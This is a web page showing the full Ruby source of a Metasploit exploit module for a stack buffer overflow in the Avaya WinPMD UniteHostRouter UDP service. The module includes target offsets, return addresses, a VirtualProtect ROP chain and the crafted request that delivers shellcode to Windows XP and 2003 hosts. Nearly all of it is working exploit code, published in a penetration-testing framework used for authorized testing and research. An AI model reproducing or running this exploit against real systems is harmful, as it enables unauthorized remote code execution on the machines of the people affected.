CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
16
exists in the UniteHostRouter service, due to the insecure usage of memcpy when
17
parsing specially crafted "To:" headers. The module has been tested successfully on
18
Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
19
},
20
'Author' =>
21
[
22
'AbdulAziz Hariri', # Vulnerability discovery
23
'Unknown', # Abysssec, PoC
24
'juan vazquez' # Metasploit module
25
],
26
'References' =>
27
[
28
['OSVDB', '82764'],
29
['OSVDB', '73269'],
30
['BID', '47947'],
31
['EDB', '18397'],
32
['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],
33
['URL', 'http://web.archive.org/web/20110527165515/http://secunia.com:80/advisories/44062']
34
],
35
'Payload' =>
36
{
37
'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",
38
'Space' => 1024,
39
'DisableNops' => true
40
},
41
'Platform' => 'win',
42
'Targets' =>
43
[
44
['Avaya WinPMD 3.8.2 / Windows XP SP3',
45
{
46
'Offset' => 260,
47
'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt
48
}
49
],
50
['Avaya WinPMD 3.8.2 / Windows 2003 SP2',
51
{
52
'Offset' => 260,
53
'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE
54
}
55
]
56
],
57
'Privileged' => true,
58
'DisclosureDate' => '2011-05-23',
59
'DefaultTarget' => 0
60
))
61
62
register_options([ Opt::RPORT(3217) ])
63
end
64
65
def junk(n=4)
66
return rand_text_alpha(n).unpack("V")[0].to_i
67
end
68
69
def nop
70
return make_nops(4).unpack("V")[0].to_i
71
end
72
73
def exploit
74
connect_udp
75
76
if target.name =~ /Windows XP SP3/
77
buf = "\xeb\x7f" # jmp short $+0x81
78
buf << rand_text(0x81 - 2)
79
buf << "\xeb\x7f" # jmp short $+0x81
80
buf << rand_text(0x81 - 2)
81
buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap
82
buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap
83
buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt
84
buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position
85
buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap
86
elsif target.name =~ /Windows 2003 SP2/
87
rop_gadgets =
88
[
89
0x77bb2563, # POP EAX # RETN
90
0x77ba1114, # <- *&VirtualProtect()
91
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
92
junk,
93
0x77bb0c86, # XCHG EAX,ESI # RETN
94
0x77bc9801, # POP EBP # RETN
95
0x77be2265, # ptr to 'push esp # ret'
96
0x77bb2563, # POP EAX # RETN
97
0x03C0990F,
98
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
99
0x77bb48d3, # POP EBX, RET
100
0x77bf21e0, # .data
101
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
102
0x77bbfc02, # POP ECX # RETN
103
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
104
0x77bd8c04, # POP EDI # RETN
105
0x77bd8c05, # ROP NOP (-> edi)
106
0x77bb2563, # POP EAX # RETN
107
0x03c0984f,
108
0x77bdd441, # SUB EAX, 03c0940f
109
0x77bb8285, # XCHG EAX,EDX # RETN
110
0x77bb2563, # POP EAX # RETN
111
nop,
112
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
113
].pack("V*")
114
buf = rand_text(3) # padding
115
buf << rop_gadgets
116
buf << "\xeb\x7f" # jmp $+0x81
117
buf << rand_text(0x81-2)
118
buf << "\xeb\x25" # jmp short $+0x66 => to shellcode
119
buf << rand_text(target['Offset'] - buf.length)
120
buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap
121
end
122
123
request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"
124
125
if target.name =~ /Windows 2003 SP2/
126
request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
127
end
128
129
request << payload.encoded # The shellcode will be stored in the heap
130
131
print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
132
udp_sock.put(request)
133
disconnect_udp
134
end
135
end
136
137